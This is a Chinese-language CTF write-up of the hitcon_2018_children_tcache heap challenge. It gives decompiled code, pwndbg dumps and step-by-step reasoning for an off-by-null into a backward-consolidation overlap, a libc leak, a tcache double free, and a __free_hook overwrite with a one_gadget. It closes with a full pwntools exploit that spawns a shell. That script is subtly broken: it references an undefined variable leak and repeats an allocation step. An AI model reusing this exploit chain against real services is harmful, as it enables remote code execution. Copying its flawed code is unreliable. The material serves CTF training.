OFF-BY-NULL Tcachebin

该利用链利用了 **Off-By-Null **漏洞来触发 **Backward Consolidation（向后合并）**从而制造出 **Overlapping **。接着，它通过 Unsorted Bin 泄露 libc 的基址，并利用 double-free 进行 Tcache Poisoning，将 __free_hook 覆盖为 one_gadget 从而获取 shell。

hitcon_2018_children_tcache(Off-By-NULL)

1775097713959-50a30f04-bc5f-4943-a8b7-6f003a285851.png

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __fastcall __noreturn main(const char *p_Invalid_Choice, char **a2, char **a3)
{
    unsigned __int64 num; // rax

    init_();
    while ( 1 )
    {
        while ( 1 )
        {
            menu(p_Invalid_Choice, a2);
            num = atol();
            if ( num != 2 )
                break;
            show();
        }
        if ( num > 2 )
        {
            if ( num == 3 )
            {
                delete();
            }
            else
            {
                if ( num == 4 )
                    _exit(0);
                LABEL_13:
                p_Invalid_Choice = "Invalid Choice";
                puts("Invalid Choice");
            }
        }
        else
        {
            if ( num != 1 )
                goto LABEL_13;
            new();
        }
    }
}

整体还是一个基本的菜单题，还是从添加开始一步一步来分析：

1
2
3
4
5
6
7
8
9
10
11
12
int __fastcall menu(__int64 p_Invalid_Choice)
{
  puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
  puts(&s_);
  puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
  puts("$   1. New heap           $");
  puts("$   2. Show heap          $");
  puts("$   3. Delete heap        $ ");
  puts("$   4. Exit               $ ");
  puts("$$$$$$$$$$$$$$$$$$$$$$$$$$$");
  return printf("Your choice: ");
}

new：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
unsigned __int64 new()
{
    int n; // [rsp+Ch] [rbp-2034h]
    char *dest; // [rsp+10h] [rbp-2030h]
    unsigned __int64 size; // [rsp+18h] [rbp-2028h]
    char s[8216]; // [rsp+20h] [rbp-2020h] BYREF
    unsigned __int64 v5; // [rsp+2038h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    memset(s, 0, 0x2010u);
    for ( n = 0; ; ++n )
    {
        if ( n > 9 )                                // 限制堆块数量
        {
            puts(":(");
            return __readfsqword(0x28u) ^ v5;
        }
        if ( !::dest[n] )
            break;
    }
    printf("Size:");
    size = atol();
    if ( size > 0x2000 )
        exit(-2);
    dest = (char *)malloc(size);                    // 创建大小为size的堆
    if ( !dest )
        exit(-1);
    printf("Data:");
    read(s, (unsigned int)size);                    // 读取size大小的内容到s当中
    strcpy(dest, s);                                // Off-By-NULL
    ::dest[n] = dest; 
    ::size[n] = size;
    return __readfsqword(0x28u) ^ v5;
}
1775098256236-fcb09aa5-aab8-4f99-a085-416c5154b7c2.png 1775098316405-a8c1e04f-abb2-4249-a875-1f37b0ff9aef.png

delete

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int delete()
{
  unsigned __int64 n9; // [rsp+8h] [rbp-8h]

  printf("Index:");
  n9 = atol();
  if ( n9 > 9 )
    exit(-3);
  if ( dest[n9] )
  {
    memset((void *)dest[n9], 218, size[n9]);
    free((void *)dest[n9]);
    dest[n9] = 0;
    size[n9] = 0;
  }
  return puts(":)");
}

简单的一个删除函数，free 后堆指针置 0，不存在 UAF 漏洞。

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __fastcall show(__int64 p_Invalid_Choice)
{
  __int64 v1; // rax
  unsigned __int64 n9; // [rsp+8h] [rbp-8h]

  printf("Index:");
  n9 = atol();
  if ( n9 > 9 )
    exit(-3);
  v1 = dest[n9];
  if ( v1 )
    LODWORD(v1) = puts((const char *)dest[n9]);
  return v1;
}

打印 dest 的低四字节

EXP 思路：

封装函数

1
2
3
4
5
6
add(0x410,b'a') # Chunk 0: 大小为 0x420
add(0x68,b'b')  # Chunk 1: 大小为 0x70
add(0x4f0,b'c') # Chunk 2: 大小为 0x500
add(0x30,b'd')  # Chunk 3: 大小为 0x40 (保护块 Guard chunk)

gdb.attach(p)
  • Chunk 0 (0x410): 这是一个大块。被释放时，它会进入 Unsorted Bin。
  • Chunk 1 (0x68): 一个较小的块，稍后将用于触发 Off-By-Null 漏洞。
  • Chunk 2 (0x4f0): 另一个大块，稍后会被用于触发向后合并。
  • Chunk 3 (0x30): 保护块，它的作用是防止 Chunk 2 被释放时直接与堆顶的 Top Chunk合并。

分配 UnSortedbin 和 Tcachebin

1
2
3
free(0)
free(1)
gdb.attach(p)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pwndbg> heap                                                                                                                                                                                                                                                                                                                                                                                               
Allocated chunk | PREV_INUSE                                                                                                                                  
Addr: 0x558a9395b000
Size: 0x250 (with flag bits: 0x251)

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x558a9395b250
Size: 0x420 (with flag bits: 0x421)
fd: 0x7f89005ebca0
bk: 0x7f89005ebca0

Free chunk (tcachebins)
Addr: 0x558a9395b670
Size: 0x70 (with flag bits: 0x70)
fd: 0x00

Allocated chunk | PREV_INUSE
Addr: 0x558a9395b6e0
Size: 0x500 (with flag bits: 0x501)

Allocated chunk | PREV_INUSE
Addr: 0x558a9395bbe0
Size: 0x40 (with flag bits: 0x41)

Top chunk | PREV_INUSE
Addr: 0x558a9395bc20
Size: 0x203e0 (with flag bits: 0x203e1)

pwndbg> bins
tcachebins
0x70 [  1]: 0x558a9395b680 ◂— 0
fastbins
empty
unsortedbin
all: 0x558a9395b250 —▸ 0x7f89005ebca0 ◂— 0x558a9395b250
smallbins
empty
largebins
empty
pwndbg> 

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/60gx 0x561f1cf99670 
0x561f1cf99670: 0x0000000000000420      0x0000000000000070 ==> tcachebin
0x561f1cf99680: 0x0000000000000000      0xdadadadadadadada
0x561f1cf99690: 0xdadadadadadadada      0xdadadadadadadada
0x561f1cf996a0: 0xdadadadadadadada      0xdadadadadadadada
0x561f1cf996b0: 0xdadadadadadadada      0xdadadadadadadada
0x561f1cf996c0: 0xdadadadadadadada      0xdadadadadadadada
0x561f1cf996d0: 0xdadadadadadadada      0xdadadadadadadada
0x561f1cf996e0: 0xdadadadadadadada      0x0000000000000501 ==> chunk 
0x561f1cf996f0: 0x0000000000000063      0x0000000000000000
0x561f1cf99700: 0x0000000000000000      0x0000000000000000
0x561f1cf99710: 0x0000000000000000      0x0000000000000000

重复利用 Off-By-NULL，篡改 prev_size

1
2
3
for i in range(9):
    add(0x68 - i,b's'*(0x68-i))
    free(0)

脚本在一个循环中不断分配并释放 Chunk 1，且请求大小略微递减。这是 pwn 中常用的技巧，用于清理块内残留的指针（例如 tcache 中的 fd 指针）。通过写入 ‘s’ 覆盖原有数据，可以防止旧指针中的空字节（\x00）在后续调用 show() 尝试泄露数据时截断输出。

这里说一下这一步的思路：

由于 stcrcpy 会被 \x00 截断的特性

  • 第 1 次循环 (i=0，大小 0x68)：分配 0x68 大小，写入 0x68 个 ‘s’。程序自动在末尾（索引 0x68）处补上一个 \x00。这一步成功清除了下一个 chunk 的 PREV_INUSE 标志！
  • 第 2 次循环 (i=1，大小 0x67)：分配 0x67 大小，写入 0x67 个 ‘s’。程序在索引 0x67 处补上 \x00。由于只写入了 0x67 字节，上一步在 0x68 处留下的 \x00 完美保留了下来。
  • 第 3 次循环 (i=2，大小 0x66)：在索引 0x66 处补上 \x00，保留 0x67 和 0x68 的 \x00。
  • 依次类推，知道第 9 次循环
  • 第 9 次循环 (i=8，大小 0x60)：在索引 0x60 处补上 \x00，得到 0x55de8dbfa6e0 处数据全部清零：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/60gx 0x55de8dbfa670
0x55de8dbfa670: 0x0000000000000420      0x0000000000000070                                            
0x55de8dbfa680: 0x0000000000000000      0xdadadadadadadada                                               
0x55de8dbfa690: 0xdadadadadadadada      0xdadadadadadadada                                                   
0x55de8dbfa6a0: 0xdadadadadadadada      0xdadadadadadadada                                                       
0x55de8dbfa6b0: 0xdadadadadadadada      0xdadadadadadadada
0x55de8dbfa6c0: 0xdadadadadadadada      0xdadadadadadadada
0x55de8dbfa6d0: 0xdadadadadadadada      0xdadadadadadadada
0x55de8dbfa6e0: 0x0000000000000000      0x0000000000000500
0x55de8dbfa6f0: 0x0000000000000063      0x0000000000000000
0x55de8dbfa700: 0x0000000000000000      0x0000000000000000
0x55de8dbfa710: 0x0000000000000000      0x0000000000000000
0x55de8dbfa720: 0x0000000000000000      0x0000000000000000
0x55de8dbfa730: 0x0000000000000000      0x0000000000000000

这里补充上不循环利用 off-by-null 的结果：在/x90/x04 之后 strcpy 补上一个/x00，但是其他位并没有修改

1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/60gx 0x56448c712670  
0x56448c712670: 0x0000000000000420      0x0000000000000070
0x56448c712680: 0x6161616161616161      0x6161616161616161
0x56448c712690: 0x6161616161616161      0x6161616161616161
0x56448c7126a0: 0x6161616161616161      0x6161616161616161
0x56448c7126b0: 0x6161616161616161      0x6161616161616161
0x56448c7126c0: 0x6161616161616161      0x6161616161616161
0x56448c7126d0: 0x6161616161616161      0x6161616161616161
0x56448c7126e0: 0xdadadadada000490      0x0000000000000501
0x56448c7126f0: 0x0000000000000063      0x0000000000000000
0x56448c712700: 0x0000000000000000      0x0000000000000000

这个时候再去覆盖写 prev_size 就没有问题了：

1
add(0x68,b'a'*0x60+p64(0x490))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> x/60gx 0x55de8dbfa670
0x55de8dbfa670: 0x0000000000000420      0x0000000000000070                                            
0x55de8dbfa680: 0x0000000000000000      0xdadadadadadadada                                               
0x55de8dbfa690: 0xdadadadadadadada      0xdadadadadadadada                                                   
0x55de8dbfa6a0: 0xdadadadadadadada      0xdadadadadadadada                                                       
0x55de8dbfa6b0: 0xdadadadadadadada      0xdadadadadadadada
0x55de8dbfa6c0: 0xdadadadadadadada      0xdadadadadadadada
0x55de8dbfa6d0: 0xdadadadadadadada      0xdadadadadadadada
0x55de8dbfa6e0: 0x0000000000000000      0x0000000000000500
0x55de8dbfa6f0: 0x0000000000000063      0x0000000000000000
0x55de8dbfa700: 0x0000000000000000      0x0000000000000000
0x55de8dbfa710: 0x0000000000000000      0x0000000000000000
0x55de8dbfa720: 0x0000000000000000      0x0000000000000000
0x55de8dbfa730: 0x0000000000000000      0x0000000000000000

free(2)实现堆向后合并

1
2
3
4
5
add(0x68,b'a'*0x60+p64(0x490))
free(2)
gdb.attach(p)

add(0x410,b'a'*1)
1775101465756-61b116c0-c2eb-49a1-92be-9ba8aca0873a.png
  • 脚本重新分配了刚才 0x70 大小的块。它用 ‘a’ 填充了前 0x60 个字节，并将 0x490 写在最末尾。
  • 在堆内存的物理布局中，Chunk 1 的最后 8 个字节恰好与 Chunk 2 的 size 字段相邻，这里的 0x490 覆盖了 Chunk 2 的 prev_size 字段。
  • 当调用 free(2) 时，glibc 检查发现 PREV_INUSE 标志为 0，认为前一个块是空闲的。于是它读取我们伪造的 prev_size (0x490)，并精确地向后（向低地址）跳转 0x490 个字节，将它们合并。
  • Chunk 0 的大小 (0x420) + Chunk 1 的大小 (0x70) = 0x490。
  • 这导致 Chunk 0、Chunk 1 和 Chunk 2 被合并成了一个巨大的空闲块，放入了 Unsorted Bin。****

利用 main_arena 泄露 libc 基地址，计算关键函数

1
2
3
4
5
6
7
8
9
add(0x410,b'a'*1) # 分配后成为 Index 1
show(0)

libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x3ebca0

log.info("libc="+hex(libc_base))
#debug()
shell = libc_base + 0x4f322  # One_Gadgets
free_hook = libc_base + libc.sym["__free_hook"]
  • 请求分配 0x410 个字节。Glibc 会从刚才那个巨大的合并块的顶部切下一块。
  • 切下的部分刚好占用了原始 Chunk 0 的内存。而剩余的空闲内存现在正好从 Index 0 的起始位置开始。
  • 因为这块剩余内存仍在 Unsorted Bin 中，glibc 会将其 main_arena 的地址（即双向链表的 fd 和 bk 指针）写入到这块内存的开头。
  • 由于程序的 Index 0 依然指向这个内存位置，调用 show(0) 就可以直接把 main_arena 的指针打印出来！
  • 脚本获取到泄露的地址后，减去固定的偏移量（在 Ubuntu 18.04 glibc 2.27 中通常是 0x3ebca0），就得到了 libc 的绝对基址。

Overlapping & Tcache Double Free

1
2
3
4
5
6
7
shell=libc_base + 0x4f322                   # 计算 One_Gadget 的地址
free_hook=leak+libc.sym["__free_hook"] # 计算 __free_hook 的地址

add(0x80,b'a')                         # 从 Unsorted Bin 剩余部分分配 (Index 2)

free(2)
free(0)
  • add(0x80,b’a’) 继续从 Unsorted Bin 中分配内存。这块内存在物理上与之前的 Index 0 完全重合。此时，Index 2 和 Index 0 指向了同一块内存地址。
  • free(2) 将该块放入大小为 0x90 的 tcache 链表中。
  • free(0) 再次释放了完全相同的内存。
  • 因为 glibc 2.27 的 tcache 完全不检查 double-free，0x90 的 tcache 链表被成功打乱，形成了一个环状结构：[Chunk] -> [Chunk] -> ...

Tcache Poisoning

1
2
3
add(0x80,p64(free_hook))
add(0x80,b'aaaa')
add(0x80,p64(shell))
  • **第一次 **add(0x80) 分配出了刚才 double-free 的块，并允许用户向其中写入数据。脚本写入了 __free_hook 的地址。由于这块内存同时也被 glibc 视为 tcache 链表中的“下一个”空闲块，这一步直接覆盖了 tcache 的 fd 指针。
  • 此时 Tcache 链表变为:[Chunk] -> [__free_hook]
  • **第二次 **add(0x80) 再次分配该块，将 tcache 的链表头向后推移一个位置。
  • 此时 Tcache 链表变为:[__free_hook]
  • **第三次 **add(0x80) 欺骗了 glibc，使其直接在 __free_hook 的地址处分配内存！脚本顺势将计算好的 one_gadget 地址（执行后可以直接 get shell 的地址）写入了 __free_hook。

触发 One_Gadgets

1
2
free(0)
p.interactive()

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./tcache')
# p = remote('node4.anna.nssctf.cn',21148)
# p = remote('node5.buuoj.cn',25418)

# libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')
libc = ELF('/home/kali/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
# context.terminal=["tmux","splitw","-h"]
# libc = ELF('./x64libc-2.27.so')  
        
def add(size,data):
        p.sendlineafter(b'Your choice: ',str(1))
        p.sendlineafter(b'Size:',str(size))
        p.sendlineafter(b'Data',data)
        
def show(idx):
        p.sendlineafter(b'Your choice: ',b'2')
        p.sendlineafter(b'Index:',str(idx))

def free(idx):
        p.sendlineafter(b'Your choice: ',b'3')
        p.sendlineafter(b'Index:',str(idx))

add(0x410,b'a')  # 0
add(0x68,b'b')   # 1
add(0x4f0,b'c')  # 2
add(0x30,b'd')   # 3
# gdb.attach(p)

free(0)   # -> unsortedbin
free(1)   # -> tcachebin
# gdb.attach(p)

for i in range(9):
   add(0x68 - i,b'b'*(0x68-i)) # -> off-by-null
   free(0)                    

# gdb.attach(p)

add(0x68,b'a'*0x60+p64(0x490)) # -> 0 -> off-by-null --> overlap next_chunk_size
gdb.attach(p)
free(2)                        # -> unsoredbin -> chunk0 + 1 + 2 -> 0x990
gdb.attach(p)

add(0x410,b'a'*1)              

#debug()
show(0)

add(0x410,b'a'*1) # 分配后成为 Index 1
show(0)

libc_base = u64(p.recv(6).ljust(8,b'\x00')) - 0x3ebca0

log.info("libc="+hex(leak))
#debug()
shell = libc_base + 0x4f322  # One_Gadgets
free_hook = libc_base + libc.sym["__free_hook"]

#debug()
add(0x80,b'a')

free(2)
free(0)
add(0x80,p64(free_hook))
add(0x80,b'aaaa')
add(0x80,p64(shell))

free(0)

p.interactive()

1775101771530-53cfb2d3-f106-4e9f-93a1-3a64931b0566.png

更新: 2026-04-24 11:30:47
原文: https://www.yuque.com/idcm/wnemg9/koyg91kdmgxrivno